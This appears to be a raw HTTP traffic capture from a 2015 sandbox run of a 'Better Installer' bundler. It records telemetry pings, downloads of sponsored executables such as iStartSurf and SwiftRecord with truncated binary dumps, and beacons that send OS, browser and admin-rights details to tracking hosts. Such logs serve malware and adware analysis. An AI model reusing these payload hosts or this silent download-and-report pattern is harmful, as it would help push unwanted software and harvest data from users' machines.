X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

GET /pinger?event_type=install_fail&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607deb71d8f3494f867a2b514a49c4e9&uniqid=5423049c0be0b64dd47e76f4552912c0&affiliate_id=videoplayer&software_id=videoplayer&sponsored_id=swiftrecord&tokyo_csrf2_key=88966f544384af5b75c38bd84c516aee&tokyo_csrf2_timestamp=1429342472&slot_number=2&index_in_screen=1&index_in_session=2&0.953743378173957 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/videoplayer/videoplayer/607deb71d8f3494f867a2b514a49c4e9?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Sat, 18 Apr 2015 07:35:46 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Sat, 18 Apr 2015 07:35:46 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0......

GET /pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607deb71d8f3494f867a2b514a49c4e9&uniqid=5423049c0be0b64dd47e76f4552912c0&affiliate_id=videoplayer&software_id=videoplayer&sponsored_id=istartsurf&tokyo_csrf2_key=88966f544384af5b75c38bd84c516aee&tokyo_csrf2_timestamp=1429342472&slot_number=3&index_in_screen=1&index_in_session=3&0.7220310269340358 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/videoplayer/videoplayer/607deb71d8f3494f867a2b514a49c4e9?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Sat, 18 Apr 2015 07:35:46 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Sat, 18 Apr 2015 07:35:46 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /monetization.gif?event=3&ibic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&campaign=000820&country=ua&app=65743&os=7(64bit)&defbro=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&starttime=1429342579&asw=0_1082139141_-2147475456_34816&browser=ff&rnd=1429342579 HTTP/1.1

Host: logs.neomapobjectrack.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Date: Sat, 18 Apr 2015 07:36:21 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1389114507"

Last-Modified: Tue, 07 Jan 2014 17:08:27 GMT

Cache-Control: max-age=86400

Content-Length: 35

Content-Type: image/gif

X-HW: 1429342582.dop007.fr7.t,1429342581.cds021.fr7.c

GIF89a.............,...........D..;HTTP/1.1 200 OK..Date: Sat, 18 Apr 
2015 07:36:21 GMT..Keep-Alive: timeout=5, max=100..Connection: Keep-Al
ive..Accept-Ranges: bytes..ETag: "1389114507"..Last-Modified: Tue, 07 
Jan 2014 17:08:27 GMT..Cache-Control: max-age=86400..Content-Length: 3
5..Content-Type: image/gif..X-HW: 1429342582.dop007.fr7.t,1429342581.c
ds021.fr7.c..GIF89a.............,...........D..;..

GET /video_accelerator/wizardtest/SMALLTEST.HTM?random=536159&mode=nolsp HTTP/1.1

Accept: */*

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: test.youtubeaccelerator.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html

Content-Encoding: gzip

Last-Modified: Mon, 21 Jul 2008 09:41:32 GMT

Accept-Ranges: bytes

ETag: "bfefaff515ebc81:0"

Vary: Accept-Encoding

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Sat, 18 Apr 2015 07:35:53 GMT

Content-Length: 167
.............`.I.%&/m.{.J.J..t...`[email protected]#).*..eVe]f.@......{
....{....;.N'...?\fd.l..J...!....?~|.?".......~....O......7.O.........
....'_>.}. ..>..o.?...MF...HTTP/1.1 200 OK..Content-Type: text/h
tml..Content-Encoding: gzip..Last-Modified: Mon, 21 Jul 2008 09:41:32 
GMT..Accept-Ranges: bytes..ETag: "bfefaff515ebc81:0"..Vary: Accept-Enc
oding..Server: Microsoft-IIS/7.5..X-Powered-By: ASP.NET..Date: Sat, 18
 Apr 2015 07:35:53 GMT..Content-Length: 167...............`.I.%&/m.{.J
.J..t...`[email protected]#).*..eVe]f.@......{....{....;.N'...?\fd.l..J
...!....?~|.?".......~....O......7.O.............'_>.}. ..>..o.?
...MF.....

GET /25356.ashx?e=9g1KGrSSDbGfZNC1TqAoBOj/J1BagZZy1VMaOJFqXYpxTYwWxYG9WJlbztiqtoL/oUDW29 K3KY2pDbRIArAn3f1ws7XaD2yIg0p1vUMLr4E8SFHLIEPsGJTlYCQaOf7GuVxeoIbRG3Yz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW Q== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Sat, 18 Apr 2015 07:35:51 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

HTTP/1.1 200 OK..Date: Sat, 18 Apr 2015 07:35:51 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS......

GET /25356.ashx?e=XJYuqQQo69eJxiP7f9a/G9PoRc85Bdu10 mctsfeJ2JAXdQqxJ1va3sc7hbJtTJHVR5AawbKoxo5/by02XtOY1 Lxpxew5WTYCpHZc9ZUaFgmm5xjmBlpCI3FLqKedV9QoAE/or KqogGeUpHHIWiSSfRcuIfR0fUu0KI1IApgUwqc65TUDdv/PP1z34ZOLg2TlWCDVUKsXMI41K2f6iZFP u/7dSCX02M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Sat, 18 Apr 2015 07:35:55 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

HTTP/1.1 200 OK..Date: Sat, 18 Apr 2015 07:35:55 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS..

GET /home/smt_istartsurf.exe HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: VVV.girlliuxiaowei.com

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx

Date: Sat, 18 Apr 2015 07:34:36 GMT

Content-Type: application/octet-stream

Content-Length: 671328

Last-Modified: Wed, 15 Apr 2015 07:16:46 GMT

Connection: keep-alive

Expires: Tue, 21 Apr 2015 07:34:36 GMT

Cache-Control: max-age=259200

Accept-Ranges: bytes
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.........*...D...D.
[email protected][email protected][email protected][email protected]...
[email protected]............
[email protected]......."....
@.......................................... ..............."..`.......
[email protected]................
...............text....P.......R.................. ..`.rdata...^...p..
.`...V..............@[email protected]...$O.......,[email protected].
....... ......................@[email protected]..................
@..B..................................................................
......................................................................
......................................................................
......................................................................
............................................U..j.h.NG.d.....P....T.H.3
.P.E.d......M..E....Q...e.P......M.......E.....j.j..M..K...j.j..M.Q.M.
.K....E......E..M.d......Y..]...U..Q.M..E.P.pn.....P.M..4.....].......
..........U..Q.M.j.j..E.P.M.Q.U.R.M..a.....]..............U..Q.M..M...
....E...]...........U..Q.M..M......P.E.P.M..d...P.M........]........U.
.....M..E..H.;M.r..M......;E.s..M.......U..B. E.;E.s..M..Q. U..U..M...
... E..E..E.;E.s..M..M.... U..E..H. M.;.w..M.......U..B. E. E..E..M..Q
..U. U..U..E..H.;M.s.j..U.R.M..?....E.;E.tS.M.Q.M.......E..E.P.M..<<< skipped >>>

GET /18118.ashx?e=/9ZmISdorEtPNjxRBLtb409PmrGON2wU/WD6e6SZIIHeyzV7AofXlhYwsCIys4jFl9RbU5Ar lwjvoO1MsIPreLt6BhzfOsD0FbaakihgO1P17LdzRwGrcSywkF18Bl8YJpucY5gZaR711If7ZLdKSAZ5SkcchaJJJ9Fy4h9HR9S7QojUgCmBeLyj8PdRsUbjRsp5RG9pVqwADzuWvml5Co96KQrvxHzFtz73aJdyQ8sj2VHenQSi 0LhpxXD4t4eCmOKii sWodZTjDiKj8nmywgV52R4NzBT4DqSJhyM3mODCqGlX7dFUAApkcaIS Wxwu54h8vdzj0G4vSfy FJ 1RrHELFphtK1wir 9nJN2uJXiY94Hd9BsUJC/kEr0V2YT/J4lJ7qLkJa1saxG4d9O68WmdWuUi6JMKxFnrcdDdCrvfMsdio3APobOvi7HLn dEZvgtJ9YV 0oPIMu3xyeQZvP0qCNc7nZu2xEd8XkI9BdmlFHq03MkBYJkL2ljA2VISVKQ9LPMK20pdOzswdQDVcwIwUFdgJXhE4Jc5c13Lt8si12CFy Ytv6W1/S8SAgz6M4M7LcyhL9 7nQ0nhu0lnI0X E1b8Epic0SPicMbVtHKlWo2damvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgyIhIx/wjkko= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Sat, 18 Apr 2015 07:35:47 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

HTTP/1.1 200 OK..Date: Sat, 18 Apr 2015 07:35:47 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS..

GET /softwares/4/3/vlc-2.0.6-win32.exe HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: download.betterinstaller.com

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx

Date: Sat, 18 Apr 2015 07:34:38 GMT

Content-Type: application/octet-stream

Content-Length: 22948790

Last-Modified: Thu, 29 Aug 2013 08:26:14 GMT

Connection: keep-alive

ETag: "521f05a6-15e2bb6"

Accept-Ranges: bytes

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......PE..L...#..O
.....................P......'C............@..........................`
................ ..........................................a..........
......................................................................
...........................text...D........................... .0`.dat
[email protected]...#.......$................
[email protected]@.bss..................................0..idata..................
[email protected]...@[email protected]....
[email protected].............................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U..WVS.......U..E....t...F
.........{B..H...H.......M..E..5H{B..D$...$....B..M..E.....SS...E...$.
D$... .B..M..E......M.WW......M.)..M..NT....NP........E.....}...VT....
....FP..E........}..VP........U.......FT.............}..........E..M..
.$..|.B..E..R...D$..E..D$...$....B.....<$....B..E..Q.}.;}...Q....~X
........F4..$....B...W..........$.E......E......D$.........B.RR.FX..$.
D$.....B..5..B.QQ..$.|$...RR...E...$..|....D$. ....D$..D$......D$..{B.
....B...|.......T$...$..QQ.<$....B.S.M..E..D$...$....B.PP1....D

<<< skipped >>>

GET /sd?is=sm HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: install-cdn.theswiftrecord.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SwiftRecordSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Content-Length: 523232

Cache-Control: private, max-age=86400

Expires: Sun, 19 Apr 2015 07:34:34 GMT

Date: Sat, 18 Apr 2015 07:34:34 GMT

Connection: keep-alive

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................Z....... ...0.......p....@.........
................. .......&.......................................s....
......................................................................
.............p...............................text....X.......Z........
.......... ..`.rdata.......p.......^..............@[email protected].......
.....p..............@....ndata.......p...........................rsrc.
...............t..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u...Pr@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Hp@[email protected]
....E..9}[email protected].}[email protected]..
[email protected]@.W...E..E.h [email protected]...\r@._^3.
[.....L$...nD...Si.. ..VW.T.....tO.q.3.;5.nD.sB..i.. ...D.......t.G...
..t...O..t .....u...3....3...F.. ..;5.nD.r._^[...U..QQ.U.SV..i.. .

<<< skipped >>>

GET /v4/sof-windowspm/?action0=xa.geoip&action1=visit&action2=install&update0=ref,wpmvt&update1=nation,us&update2=language,en HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Sat, 18 Apr 2015 07:36:47 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

3d..{"stats":"error","time":"0.06 ms","message":"uid is not set"}..0..
HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Sat, 18 Apr 2015 07:36:47
 GMT..Content-Type: text/html; charset=utf-8..Transfer-Encoding: chunk
ed..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api-version: v
4..3d..{"stats":"error","time":"0.06 ms","message":"uid is not set"}..
0..

GET /3428_92a5d683c188790231b1aa2af09de41e/2.pak HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0

Host: dlrkbt247pbk6.cloudfront.net

Accept: */*

Accept-Encoding: gzip, deflate

Connection:keep-alive


HTTP/1.1 200 OK

Content-Type: application/octet-stream

Content-Length: 2937235

Connection: keep-alive

Date: Fri, 17 Apr 2015 10:03:52 GMT

Last-Modified: Fri, 17 Apr 2015 09:54:30 GMT

ETag: "481d84916afd9afb59e27c5103cccb3a"

Accept-Ranges: bytes

Server: AmazonS3

Age: 77532

X-Cache: Hit from cloudfront

Via: 1.1 87f229ee36043fa00ca8a4022d40bf9c.cloudfront.net (CloudFront)

X-Amz-Cf-Id: EkXMn85b-etN_v7Aq0OLGvszPEWPd636tr_piTaSXkS3Ad1gDexSLg==
................,.............474.db...W.J.P.iWa4...<..A#.<y....
\..-2...a7."....}.zx....(....N.J8...t.J.-Q..C$....G.!;Q`..%...D.>uZ
....s.L........* ...i.5A.`.....j._\.....e.M. ..}.....\[...............
u97LI0N5PK..........bF]=..............wpm_v20.0.0.1953_0302.exe..S.nM.
...m....m..m..m..l..m.:.\...E....s{.*F.5j.......z.......T.C.t.f.,f..y.
^.a.....P.3.O^:.~L....(.......Z..,...R...xN......*g...2.._.i.y..A[7..K
%...W... Jn.ET.d3.8.A.Rpi>..E..}.......Eb.L/..../.Q.../..q.........
..[.VZ..4_..J.4.(...{..SQ....f....*.....1.}BO..........gD..?..|od...W.
.].6..a.E....*Rz...&...G.....5.dW ..nD7&..4C2......zb.Be..[....T(b...r
j..4X....g........u>Y..~..D!...5.Z...w.....w.[...N......M.........i
....l..3..."..W7.D.t.........Cv.r.-........N..1..B...<.......zI....
...G.F#Al...;..L..[.j.g.w._...~z.../......s...h]..R........K...1....v}
~..].....Rd]?a....#.".]r..-..x....Z...z|`.......x..)..4/...........N..
aQG...lq.4`..`....d>.....wGyf.q.RzN.....9,.t.Rr..=......M.%....l[&g
t;..Bt.<...D..G..S4.$s.g..... ...Y.N.h`..Y...3.5.m."..Pfc%j..$.....
R...J..i..x...?J.T.)L..@%......F9..L.#..`}7....q.%....sj.]. ...r.../z.
.Ff.<x-b.d..P..pE..l`k.?:n..Aq.....<..F.....^..r...7.b\....}.,$.
p)<..Q.....U.>.D.....@}4u.....N....#..A 4g2.uU.r}"......#X....d.
{.)..........R..m.DR.d.2.......o#....30O......(g(H.Aro...0.P....tt5.7@
W4;....BR.J1^Lf....H'..q...HMA..of.]w#..?..I..~>FL2.T.v:.&\..${.KB.
.....o.Z.R.&.<....Zf)...".D<...@_.....WE....*.[\.b..W._?.S{.x..,
....pP...qC\. ....zC....9:.Yc[a..^.~..%2...h...=a.h..Y...'ia;V..&.<<< skipped >>>

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=214170-

User-Agent: Better Installer(Mozilla)

Host: d3dl09kxmzkap.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 71388

Connection: keep-alive

Date: Sun, 12 Apr 2015 05:26:44 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 214170-285557/285558

Age: 2036

X-Cache: Hit from cloudfront

Via: 1.1 8c9004920e47d52db1671ea2719afb43.cloudfront.net (CloudFront)

X-Amz-Cf-Id: J-68HDgKUSOZ5PfRJtzqfeWGuBLUiCCfFDD2x_-PPe5X49lB_cEjWQ==
a...:X.h0...d...,Q..b:..... <o..^..z.nI...n..b..3........$.#....k..
m...L:M..^..b..j.*G.:c'^T... .k..|..?D...c....\..P.}[email protected].
...x.X..7.[.f...!......g...)aT......k.....1..K.....ou74.U..#.k3-...N..
.....t....u8n.7.c.2..7J... ...h..s......[.V..44.a..<.- .....x..O2oZ
*...u.....oY...T..k..r. z'._GC..B.W.9&1......'.~/].2 v~..:f.=.x<0.}
.e3F/5..b..<!..H...1)......V~G...7.........A..1VS..s.!6.k.J6...h.o.
..8..A^[email protected]>.[.Z...I..P..................Y..... .I."....s....6
d..<F-..[....\]^... C4w>..'j$.qT........J .{..\....X>........
......|EU.*................c..Q.<......Mk..%....1c...8.g:...=.d'.R.
..Im,O.o$..Q.....O..fS43.(...`..........M.s...Rx..[.|:...&.^.....c....
..)...>.6.C4c".%..O..r.Cg.........|._...9..m.h.6.;.Y.L.~).M..]A\...
e.u`...U....s.X....m.....1y|.....k......~..uEi.$...J..pK.:Xt.....z9.bu
*...1:.C....`.]..N.oR.....0..(.5U!.*....$.......3t.0..Vd6..H....6.9N,.
...)T....e.h.."..N6..nUE.......Z..d.........&.....`..1..............b9
..K..g..9Md...K...6q.?...MU.GW.c.C..Ppfw..u.{.."..]....wf|k./(BX......
V...p>...'.;..(..Q.....9.:...R.v";...zv\;..Ow.2...7.~.IT.D..mu.k.OG
w....<U.....x.. ...i.....W.5|w.#....DR.w.}..r......D...^Y..v.... 05
...K.:.{..}Q...t.Y......P..#Hl....2........&c.....C.*...D....l...v.K.v
D.wC..vK4..W.P.).X.....Z..;V2......,j....q./.q.i..d.........\..F.._a..
.U....T...m...d.....>....{z.tf.T..%...5.. NF.......).....:.b,..O.Yq
.....u/oT<.`[email protected].|T..mVLY.......C(
E.....F...e|...hu.\.\. .....~ ..Fi>..M.;..f.U$..!.&6 Y......s..<<< skipped >>>

GET /monetization.gif?event=4&ibic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&campaign=000805&country=ua&app=70299&os=7(64bit)&defbro=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&starttime=1429342557&asw=0_1073750533_-2147475456_2048&browser=ff&rnd=1429342557 HTTP/1.1

Host: logs.neomapobjectrack.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Date: Sat, 18 Apr 2015 07:36:13 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1389114507"

Last-Modified: Tue, 07 Jan 2014 17:08:27 GMT

Cache-Control: max-age=86400

Content-Length: 35

Content-Type: image/gif

X-HW: 1429342573.dop009.fr7.t,1429342573.cds021.fr7.c

GIF89a.............,...........D..;HTTP/1.1 200 OK..Date: Sat, 18 Apr 
2015 07:36:13 GMT..Keep-Alive: timeout=5, max=100..Connection: Keep-Al
ive..Accept-Ranges: bytes..ETag: "1389114507"..Last-Modified: Tue, 07 
Jan 2014 17:08:27 GMT..Cache-Control: max-age=86400..Content-Length: 3
5..Content-Type: image/gif..X-HW: 1429342573.dop009.fr7.t,1429342573.c
ds021.fr7.c..GIF89a.............,...........D..;..

GET /installer.gif?action=started&app=70121&appver=0&ver=1_36_01_22&version_date=15-04-18&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=6C010886E904470BB81A72CBEAFC3956PI&srcid=000171&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNEl6dHNtdHljMCxhMDk2OGY5ZS1lNmI2LTRiYWUtOWMxNy1jN2YxZWQ1NTA4MTgsIiwidW5xIjoiYTA5NjhmOWUtZTZiNi00YmFlLTljMTctYzdmMWVkNTUwODE4In19&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_32&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147475456&asw4=2048&crtnm=na&mdat=&procstarttime=1429342556&procruntime=7&rnd=1429342563 HTTP/1.1

Host: stats.neomapobjectrack.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: eScJagSx6iXsZ nMPAz3TCBOapkzPeIZ5KTORER9TEtGaYpZ4 Dhjc3PVI0GlBYl

x-amz-request-id: 678E59C467CBC423

Date: Sat, 18 Apr 2015 07:36:04 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 01 Apr 2015 13:14:56 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: eScJag
Sx6iXsZ nMPAz3TCBOapkzPeIZ5KTORER9TEtGaYpZ4 Dhjc3PVI0GlBYl..x-amz-requ
est-id: 678E59C467CBC423..Date: Sat, 18 Apr 2015 07:36:04 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Wed, 01 Apr 2015 13:14:56 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;....


GET /installer.gif?action=finished&LFMR=_ffDll_0&app=70121&appver=&ver=1_36_01_22&version_date=15-04-18&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=6C010886E904470BB81A72CBEAFC3956PI&srcid=000171&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNEl6dHNtdHljMCxhMDk2OGY5ZS1lNmI2LTRiYWUtOWMxNy1jN2YxZWQ1NTA4MTgsIiwidW5xIjoiYTA5NjhmOWUtZTZiNi00YmFlLTljMTctYzdmMWVkNTUwODE4In19&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_32&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147475456&asw4=2048&crtnm=na&procstarttime=1429342556&procruntime=20&rnd=1429342576 HTTP/1.1

Host: stats.neomapobjectrack.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: MXxBibhpJNOfI4NjC6SmQYigcGUMG2TRkLdcSMMQgrLE0TXUoBY2z/mdyUJlCIGy

x-amz-request-id: 9F3F7DB73D575C62

Date: Sat, 18 Apr 2015 07:36:17 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 01 Apr 2015 13:14:56 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3

GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: ipSKbm
jJJFt7kwxPcHnzlDNUs95Di1Y6n7gVgLbGyJ6uEu5gRp7J4jZHX5lOfsEs..x-amz-requ
est-id: 35F02E6C79AC5499..Date: Sat, 18 Apr 2015 07:36:17 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Wed, 01 Apr 2015 13:14:45 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;HTTP/1.1 200 OK..x-
amz-id-2: ipSKbmjJJFt7kwxPcHnzlDNUs95Di1Y6n7gVgLbGyJ6uEu5gRp7J4jZHX5lO
fsEs..x-amz-request-id: 35F02E6C79AC5499..Date: Sat, 18 Apr 2015 07:36
:17 GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cac
he, must-revalidate..Last-Modified: Wed, 01 Apr 2015 13:14:45 GMT..ETa
g: "28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Conten
t-Length: 35..Server: AmazonS3..GIF89a.............,...........D..;..

GET /v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.istartsurf.wpm HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Sat, 18 Apr 2015 07:36:07 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"0.70 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Sat, 18 Apr 20
15 07:36:07 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"0.70 ms","message":"store 1 ac
tion and 0 update "}..0......

GET /v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.istartsurf.ient HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Sat, 18 Apr 2015 07:36:12 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"0.57 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Sat, 18 Apr 20
15 07:36:12 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"0.57 ms","message":"store 1 ac
tion and 0 update "}..0..

GET /Fan/rebirth?uid=267123711_198339_B48A115F&ptid=smt&ver=4.0.1.1716&dname=istartsurf HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

